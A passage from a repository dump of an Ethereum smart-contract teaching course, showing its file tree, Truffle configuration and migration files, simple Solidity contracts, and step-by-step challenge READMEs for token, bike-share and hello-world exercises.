├── .gitignore ├── .gitattributes ├── advanced_modules ├── payment_channels │ ├── unidirectional_payment_channel │ │ └── payment-channel │ │ │ ├── .gitattributes │ │ │ ├── README.md │ │ │ └── channel.sol │ └── simple_payment_channel │ │ ├── migrations │ │ └── 1_initial_migration.js │ │ ├── contracts │ │ └── Migrations.sol │ │ ├── truffle-config.js │ │ └── truffle.js └── plasma │ └── mvp │ ├── migrations │ ├── 1541812848_heap.js │ └── 1_initial_migration.js │ ├── package.json │ ├── package-lock.json │ ├── contracts │ ├── Migrations.sol │ ├── PlasmaMVP.sol │ └── Heap.sol │ ├── truffle-config.js │ └── truffle.js ├── modules ├── course_token │ ├── truffle-config.js │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_contracts.js │ ├── truffle.js │ └── contracts │ │ ├── Migrations.sol │ │ ├── Ownable.sol │ │ ├── CourseToken.sol │ │ └── SafeMath.sol ├── dapp │ └── simple_crowdfund_dapp │ │ ├── bs-config.json │ │ ├── migrations │ │ ├── 1_initial_migration.js │ │ └── 2_deploy_crowdfund.js │ │ ├── deploy.md │ │ ├── package.json │ │ ├── contracts │ │ ├── Migrations.sol │ │ ├── SimpleCrowdfund.sol │ │ ├── SimpleToken.sol │ │ └── library │ │ │ ├── Ownable.sol │ │ │ └── SafeMath.sol │ │ ├── dist │ │ └── index.html │ │ ├── src │ │ └── index.html │ │ └── truffle-config.js ├── challenges │ ├── mirror_contract │ │ └── MirrorContract.sol │ ├── bikeshare_challenge │ │ ├── final │ │ │ ├── truffle.js │ │ │ ├── truffle-config.js │ │ │ ├── migrations │ │ │ │ └── 1_initial_migration.js │ │ │ ├── contracts │ │ │ │ └── Migrations.sol │ │ │ └── test │ │ │ │ └── bikeShare.js │ │ ├── 08 │ │ │ └── README.md │ │ ├── 01 │ │ │ ├── README.md │ │ │ └── BikeShare.sol │ │ ├── 06 │ │ │ └── README.md │ │ ├── 07 │ │ │ └── README.md │ │ ├── 03 │ │ │ ├── README.md │ │ │ └── BikeShare.sol │ │ ├── 02 │ │ │ ├── README.md │ │ │ └── BikeShare.sol │ │ ├── 05 │ │ │ └── README.md │ │ └── 04 │ │ │ ├── README.md │ │ │ └── BikeShare.sol │ ├── token_challenge │ │ ├── 00 │ │ │ ├── migrations │ │ │ │ └── 1_initial_migration.js │ │ │ ├── contracts │ │ │ │ └── Migrations.sol │ │ │ ├── README.md │ │ │ └── truffle-config.js │ │ ├── 01 │ │ │ ├── migrations │ │ │ │ └── 1_initial_migration.js │ │ │ ├── contracts │ │ │ │ ├── Migrations.sol │ │ │ │ ├── SimpleToken.sol │ │ │ │ └── library │ │ │ │ │ ├── Ownable.sol │ │ │ │ │ └── SafeMath.sol │ │ │ ├── README.md │ │ │ └── truffle-config.js │ │ ├── 02 │ │ │ ├── migrations │ │ │ │ ├── 1_initial_migration.js │ │ │ │ └── 2_deploy_token.js │ │ │ ├── README.md │ │ │ ├── contracts │ │ │ │ ├── Migrations.sol │ │ │ │ ├── SimpleToken.sol │ │ │ │ └── library │ │ │ │ │ ├── Ownable.sol │ │ │ │ │ └── SafeMath.sol │ │ │ └── truffle-config.js │ │ ├── 03 │ │ │ ├── migrations │ │ │ │ ├── 1_initial_migration.js │ │ │ │ └── 2_deploy_crowdfund.js │ │ │ ├── contracts │ │ │ │ ├── Migrations.sol │ │ │ │ ├── SimpleCrowdfund.sol │ │ │ │ ├── SimpleToken.sol │ │ │ │ └── library │ │ │ │ │ ├── Ownable.sol │ │ │ │ │ └── SafeMath.sol │ │ │ ├── README.md │ │ │ └── truffle-config.js │ │ ├── 04 │ │ │ ├── migrations │ │ │ │ ├── 1_initial_migration.js │ │ │ │ └── 2_deploy_crowdfund.js │ │ │ ├── contracts │ │ │ │ ├── Migrations.sol │ │ │ │ ├── SimpleCrowdfund.sol │ │ │ │ ├── SimpleToken.sol │ │ │ │ └── library │ │ │ │ │ ├── Ownable.sol │ │ │ │ │ └── SafeMath.sol │ │ │ ├── README.md │ │ │ └── truffle-config.js │ │ ├── 05 │ │ │ ├── migrations │ │ │ │ ├── 1_initial_migration.js │ │ │ │ └── 2_deploy_crowdfund.js │ │ │ ├── contracts │ │ │ │ ├── Migrations.sol │ │ │ │ ├── SimpleCrowdfund.sol │ │ │ │ ├── SimpleToken.sol │ │ │ │ └── library │ │ │ │ │ ├── Ownable.sol │ │ │ │ │ └── SafeMath.sol │ │ │ ├── README.md │ │ │ └── truffle-config.js │ │ ├── 06 │ │ │ ├── migrations │ │ │ │ ├── 1_initial_migration.js │ │ │ │ └── 2_deploy_crowdfund.js │ │ │ ├── contracts │ │ │ │ ├── Migrations.sol │ │ │ │ ├── SimpleCrowdfund.sol │ │ │ │ ├── SimpleToken.sol │ │ │ │ └── library │ │ │ │ │ ├── Ownable.sol │ │ │ │ │ └── SafeMath.sol │ │ │ ├── test │ │ │ │ └── token.js │ │ │ └── README.md │ │ └── final │ │ │ ├── migrations │ │ │ ├── 1_initial_migration.js │ │ │ └── 2_deploy_crowdfund.js │ │ │ └── contracts │ │ │ ├── Migrations.sol │ │ │ ├── SimpleCrowdfund.sol │ │ │ ├── SimpleToken.sol │ │ │ └── library │ │ │ ├── Ownable.sol │ │ │ └── SafeMath.sol │ └── hello_world_challenge │ │ ├── 01 │ │ ├── README.md │ │ └── HelloWorld.sol │ │ ├── 02 │ │ ├── HelloWorld.sol │ │ └── README.md │ │ ├── 03 │ │ ├── README.md │ │ └── HelloWorld.sol │ │ ├── 04 │ │ ├── README.md │ │ └── HelloWorld.sol │ │ └── final │ │ ├── README.md │ │ ├── HelloWorld.sol │ │ └── abi.json ├── random │ ├── HelloWorld.sol │ ├── Reader.sol │ ├── Mirror.sol │ └── Token.sol └── examples │ ├── library │ ├── Ownable.sol │ └── SafeMath.sol │ ├── security_examples │ ├── unsafeWallet.sol │ ├── safeWallet1.sol │ ├── attackWallet.sol │ └── safeWallet2.sol │ └── oraclize_examples │ ├── KrakenPriceTicker.sol │ └── NHLPredictor.sol ├── .gitmodules ├── README.md ├── jupyter_notebook ├── Tools.md └── firstTransaction.md └── LICENSE.md /.gitignore: -------------------------------------------------------------------------------- 1 | build 2 | node_modules -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | *.sol linguist-language=Solidity -------------------------------------------------------------------------------- /advanced_modules/payment_channels/unidirectional_payment_channel/payment-channel/.gitattributes: -------------------------------------------------------------------------------- 1 | *.sol linguist-language=Solidity 2 | -------------------------------------------------------------------------------- /advanced_modules/payment_channels/unidirectional_payment_channel/payment-channel/README.md: -------------------------------------------------------------------------------- 1 | # payment-channel 2 | Ethereum Payment Channel in 50 lines of code 3 | -------------------------------------------------------------------------------- /advanced_modules/plasma/mvp/migrations/1541812848_heap.js: -------------------------------------------------------------------------------- 1 | var Heap = artifacts.require("./Heap.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Heap); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/course_token/truffle-config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // See 3 | // to customize your Truffle configuration! 4 | }; 5 | -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/bs-config.json: -------------------------------------------------------------------------------- 1 | { 2 | "port": 3000, 3 | "files": ["./src/**/*.{html,htm,css,js}"], 4 | "server": { "baseDir": ["./src", "./build/contracts"] } 5 | } -------------------------------------------------------------------------------- /modules/challenges/mirror_contract/MirrorContract.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | contract Mirror { 4 | function() external payable { 5 | msg.sender.transfer(msg.value); 6 | } 7 | } -------------------------------------------------------------------------------- /modules/course_token/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/final/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // See 3 | // to customize your Truffle configuration! 4 | }; 5 | -------------------------------------------------------------------------------- /advanced_modules/plasma/mvp/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/final/truffle-config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // See 3 | // to customize your Truffle configuration! 4 | }; 5 | -------------------------------------------------------------------------------- /modules/course_token/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | const CourseToken = artifacts.require("./CourseToken.sol"); 4 | 5 | module.exports = (deployer) => { 6 | deployer.deploy(CourseToken); 7 | }; 8 | -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/00/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/01/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/02/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/03/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/04/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/05/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/06/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "payment_channels/unidirectional_payment_channel/payment-channel"] 2 | path = payment_channels/unidirectional_payment_channel/payment-channel 3 | url = https://github.com/mattdf/payment-channel 4 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/final/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const Migrations = artifacts.require("Migrations"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/final/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /advanced_modules/payment_channels/simple_payment_channel/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/02/migrations/2_deploy_token.js: -------------------------------------------------------------------------------- 1 | const SimpleToken = artifacts.require("SimpleToken"); 2 | 3 | module.exports = function(deployer) { 4 | // Use deployer to state migration tasks. 5 | deployer.deploy(SimpleToken) 6 | }; 7 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/03/migrations/2_deploy_crowdfund.js: -------------------------------------------------------------------------------- 1 | const SimpleCrowdfund = artifacts.require("SimpleCrowdfund"); 2 | 3 | module.exports = function(deployer) { 4 | // Use deployer to state migration tasks. 5 | deployer.deploy(SimpleCrowdfund) 6 | }; 7 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/04/migrations/2_deploy_crowdfund.js: -------------------------------------------------------------------------------- 1 | const SimpleCrowdfund = artifacts.require("SimpleCrowdfund"); 2 | 3 | module.exports = function(deployer) { 4 | // Use deployer to state migration tasks. 5 | deployer.deploy(SimpleCrowdfund, 1000000, 100) 6 | }; 7 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/05/migrations/2_deploy_crowdfund.js: -------------------------------------------------------------------------------- 1 | const SimpleCrowdfund = artifacts.require("SimpleCrowdfund"); 2 | 3 | module.exports = function(deployer) { 4 | // Use deployer to state migration tasks. 5 | deployer.deploy(SimpleCrowdfund, 1000000, 100) 6 | }; 7 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/06/migrations/2_deploy_crowdfund.js: -------------------------------------------------------------------------------- 1 | const SimpleCrowdfund = artifacts.require("SimpleCrowdfund"); 2 | 3 | module.exports = function(deployer) { 4 | // Use deployer to state migration tasks. 5 | deployer.deploy(SimpleCrowdfund, 1000000, 100) 6 | }; 7 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/08/README.md: -------------------------------------------------------------------------------- 1 | # BikeShare Solidity challenge 2 | 3 | ## 08 Libraries 4 | 5 | In this exercise, we will be adding the SafeMath library to protect us from integer overflow 6 | 7 | Import the library 8 | 9 | Apply it to all of the uint256, and all operations -------------------------------------------------------------------------------- /modules/challenges/token_challenge/final/migrations/2_deploy_crowdfund.js: -------------------------------------------------------------------------------- 1 | const SimpleCrowdfund = artifacts.require("SimpleCrowdfund"); 2 | 3 | module.exports = function(deployer) { 4 | // Use deployer to state migration tasks. 5 | deployer.deploy(SimpleCrowdfund, 1000000, 100) 6 | }; 7 | -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/migrations/2_deploy_crowdfund.js: -------------------------------------------------------------------------------- 1 | const SimpleCrowdfund = artifacts.require("SimpleCrowdfund"); 2 | 3 | module.exports = function(deployer) { 4 | // Use deployer to state migration tasks. 5 | deployer.deploy(SimpleCrowdfund, "1000000000000", "100") 6 | }; 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Ethinitium 4 | 5 | Eth-initium (ethereum start) is an open source repository for those who want to understand how the ethereum blockchain functions along with how to create smart contracts 6 | 7 | Contributions are welcome, please fork the repository and create PR's for it! 8 | 9 | -------------------------------------------------------------------------------- /jupyter_notebook/Tools.md: -------------------------------------------------------------------------------- 1 | 2 | # Various tools created by Blockchainers 3 | 4 | ## EVM fun 5 | 6 | https://github.com/CoinCulture/evm-tools 7 | 8 | 9 | ## Merkle Patricia tries! 10 | 11 | https://github.com/ethereumjs/merkle-patricia-tree 12 | 13 | https://github.com/ebuchman/understanding_ethereum_trie -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/01/README.md: -------------------------------------------------------------------------------- 1 | # Hello World Challenge 2 | 3 | ## 1) Setting and getting a value to storage 4 | 5 | In the first contract, please create a global variable `value`. 6 | 7 | Create both a _getter_ and a _setter_ for this value. Make sure your function can be called by anyone. -------------------------------------------------------------------------------- /modules/random/HelloWorld.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | contract HelloWorld { 4 | 5 | uint value; 6 | 7 | function set(uint _value) public { 8 | value = _value; 9 | } 10 | 11 | function get() public view returns (uint) { 12 | return value; 13 | } 14 | 15 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/02/README.md: -------------------------------------------------------------------------------- 1 | # SimpleToken Solidity challenge 2 | 3 | ## 02 Transfer and Minting 4 | 5 | In this exercise, we will implement the transfer and mint function 6 | 7 | - Implement the transfer function 8 | 9 | - Implement the mint function. One should not be able to mint more than the maxSupply -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/01/HelloWorld.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | contract HelloWorld { 4 | 5 | uint value; 6 | 7 | function set(uint _value) public { 8 | value = _value; 9 | } 10 | 11 | function get() public view returns (uint) { 12 | return value; 13 | } 14 | 15 | } -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/02/HelloWorld.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | contract HelloWorld { 4 | 5 | uint value; 6 | 7 | function set(uint _value) public { 8 | value = _value; 9 | } 10 | 11 | function get() public view returns (uint) { 12 | return value; 13 | } 14 | 15 | } -------------------------------------------------------------------------------- /modules/course_token/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // See 3 | // to customize your Truffle configuration! 4 | compilers: { 5 | solc: { 6 | version: "0.5.4", // Fetch exact version from solc-bin (default: truffle's version) 7 | } 8 | }, 9 | solc: { 10 | optimizer: { 11 | enabled: true, 12 | runs: 200 13 | } 14 | }, 15 | }; 16 | -------------------------------------------------------------------------------- /advanced_modules/plasma/mvp/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "mvp", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "truffle-config.js", 6 | "directories": { 7 | "test": "test" 8 | }, 9 | "scripts": { 10 | "test": "echo \"Error: no test specified\" && exit 1" 11 | }, 12 | "keywords": [], 13 | "author": "", 14 | "license": "ISC", 15 | "dependencies": { 16 | "openzeppelin-solidity": "^2.0.0" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/03/README.md: -------------------------------------------------------------------------------- 1 | # Hello World Challenge 2 | 3 | ## 3) Accepting and sending Ether 4 | 5 | Add in a payable fallback function in the contract so it can accept Ether. 6 | 7 | Create a simple balance function to get the balance in Ether of the contract 8 | 9 | Create a simple transfer function that takes in an address payable and transfers it all of the ETH in the contract, returning a boolean indicating if it worked or not -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/02/README.md: -------------------------------------------------------------------------------- 1 | # Hello World Challenge 2 | 3 | ## 2) Getting it's ABI 4 | 5 | Using Solc version 0.5.4 (which you can download using yarn or npm using `yarn add global solc@0.5.4` or `npm i -g solc@0.5.4`) get the ABI of the contract. 6 | 7 | You can do this by calling `solc --abi --pretty-json HelloWorld.sol` in the contract directory 8 | 9 | Using this ABI, set a new value on the contract using Remix (address given by the instructor) -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/04/README.md: -------------------------------------------------------------------------------- 1 | # Hello World Challenge 2 | 3 | ## 4) Restricting access 4 | 5 | Create a brand new owner variable. 6 | 7 | On contract instantiation, the owner variable should be you. 8 | 9 | Create a modifier `onlyOwner` that ensures that only the owner is the one performing an action 10 | 11 | Add the `onlyOwner` modifier to the transfer function, ensuring that you are the only one able to transfer the Ether out of the contract -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/final/README.md: -------------------------------------------------------------------------------- 1 | # Hello World Challenge 2 | 3 | ## 4) Restricting access 4 | 5 | Create a brand new owner variable. 6 | 7 | On contract instantiation, the owner variable should be you. 8 | 9 | Create a modifier `onlyOwner` that ensures that only the owner is the one performing an action 10 | 11 | Add the `onlyOwner` modifier to the transfer function, ensuring that you are the only one able to transfer the Ether out of the contract -------------------------------------------------------------------------------- /advanced_modules/plasma/mvp/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "mvp", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "openzeppelin-solidity": { 8 | "version": "2.0.0", 9 | "resolved": "https://registry.npmjs.org/openzeppelin-solidity/-/openzeppelin-solidity-2.0.0.tgz", 10 | "integrity": "sha512-SolpxQFArtiYnlSNg3dZ9sz0WVlKtPqSOcJkXRllaZp4+Lpfqz3vxF0yoh7g75TszKPyadqoJmU7+GM/vwh9SA==" 11 | } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/deploy.md: -------------------------------------------------------------------------------- 1 | # Deploy to IPFS checklist 2 | 3 | - [ ] Deploy contract to Ropsten 4 | - [ ] Create a new directory called `dist` 5 | - [ ] Add in the `build/contracts/SimpleCrowdfund.json` to the dist folder 6 | - [ ] Add in everything inside of `src` into the dist folder `cp -r src/* dist` 7 | - [ ] Make sure the app.js in the Dist folder has `currentNetwork: "3"` set 8 | - [ ] Do `ipfs add -r dist` 0x3baA64a4401Bbe18865547E916A9bE8e6dD89a5A 9 | - [ ] `ipfs name publish HASH` -------------------------------------------------------------------------------- /modules/random/Reader.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.5.4; 2 | 3 | contract Reader { 4 | string public secret = "Hello there, I'm a secret"; 5 | 6 | function whatIsTheAnswerOfLife() external pure returns(uint256) { 7 | return 42; 8 | } 9 | 10 | function echo(string calldata sent) external pure returns(string memory) { 11 | return sent; 12 | } 13 | 14 | function whatIsThis(string calldata sent, uint256 amount) external pure returns(string memory, uint256) { 15 | return (sent, amount); 16 | } 17 | 18 | 19 | } -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "token_dapp", 3 | "version": "1.0.0", 4 | "description": "Example Token Dapp Using Web3.js", 5 | "main": "truffle-config.js", 6 | "directories": { 7 | "test": "test" 8 | }, 9 | "scripts": { 10 | "test": "echo \"Error: no test specified\" && exit 1", 11 | "dev": "lite-server" 12 | }, 13 | "author": "", 14 | "license": "ISC", 15 | "dependencies": { 16 | "lite-server": "^2.5.3", 17 | "truffle-contract": "^4.0.17", 18 | "truffle-hdwallet-provider": "^1.0.10" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/01/README.md: -------------------------------------------------------------------------------- 1 | # BikeShare Solidity challenge 2 | 3 | ## 01 Structure 4 | 5 | In this exercise, we will outline the structure of the contract. 6 | 7 | Create a BikeShare contract, with the following: 8 | 9 | - A constructor 10 | - A setCreditPrice function 11 | - A setCPKM function 12 | - A setDonateCredits function 13 | - A setRepairCredits function 14 | - A getAvailable function 15 | - A purchaseCredits function 16 | - A donateBike function 17 | - A rentBike function 18 | - A rideBike function 19 | - A returnBike function 20 | - A fallback function 21 | -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/06/README.md: -------------------------------------------------------------------------------- 1 | # BikeShare Solidity challenge 2 | 3 | ## 06 Inheritance 4 | 5 | In this exercise, we will inherit from another contract and use it's functions 6 | 7 | Inherit from the Ownable contract in the library folder 8 | 9 | Implement and add the onlyOwner modifier for these functions: 10 | 11 | - setCreditPrice 12 | - setCPKM 13 | - setDonateCredits 14 | - setRepairCredits 15 | 16 | Create a new function called sendToOwner that can only be called by the owner and sends *all* of the Ether locked in the contract to him. The function should return a boolean. -------------------------------------------------------------------------------- /modules/challenges/hello_world_challenge/03/HelloWorld.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | contract HelloWorld { 4 | 5 | function set(uint _value) public { 6 | value = _value; 7 | } 8 | 9 | function get() public view returns (uint) { 10 | return value; 11 | } 12 | 13 | uint value; 14 | 15 | function balance() public view returns (uint256) { 16 | return address(this).balance; 17 | } 18 | 19 | function transfer(address payable _to) public returns (bool) { 20 | _to.transfer(address(this).balance); 21 | } 22 | 23 | function () payable external {} 24 | } -------------------------------------------------------------------------------- /modules/course_token/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | constructor() public { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /advanced_modules/plasma/mvp/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /advanced_modules/plasma/mvp/truffle-config.js: -------------------------------------------------------------------------------- 1 | /* 2 | * NB: since truffle-hdwallet-provider 0.0.5 you must wrap HDWallet providers in a 3 | * function when declaring them. Failure to do so will cause commands to hang. ex: 4 | * ``` 5 | * mainnet: { 6 | * provider: function() { 7 | * return new HDWalletProvider(mnemonic, 'https://mainnet.infura.io/') 8 | * }, 9 | * network_id: '1', 10 | * gas: 4500000, 11 | * gasPrice: 10000000000, 12 | * }, 13 | */ 14 | 15 | module.exports = { 16 | // See 17 | // to customize your Truffle configuration! 18 | }; 19 | -------------------------------------------------------------------------------- /modules/random/Mirror.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.5.4; 2 | 3 | contract Mirror { 4 | uint256 public txCount = 0; 5 | event Winner(address sender, uint256 amount); 6 | 7 | function () external payable { 8 | require(msg.value > 0.01 ether, "you need to send at least 0.01 ether"); 9 | if(txCount % 10 == 0) { 10 | uint256 amount = address(this).balance; 11 | // win 12 | msg.sender.transfer(amount); 13 | emit Winner(msg.sender, amount); 14 | return; 15 | } 16 | // remove 0.01 ether 17 | msg.sender.transfer(msg.value - 0.01 ether); 18 | } 19 | 20 | 21 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/00/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/01/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/02/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/03/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/04/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() { 12 | if (msg.sender == owner) _; 13 | } 14 | 15 | function setCompleted(uint completed) public restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) public restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/05/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.21 <0.6.0; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | constructor() public { 8 | owner = msg.sender; 9 | } 10 | 11 | modifier restricted() 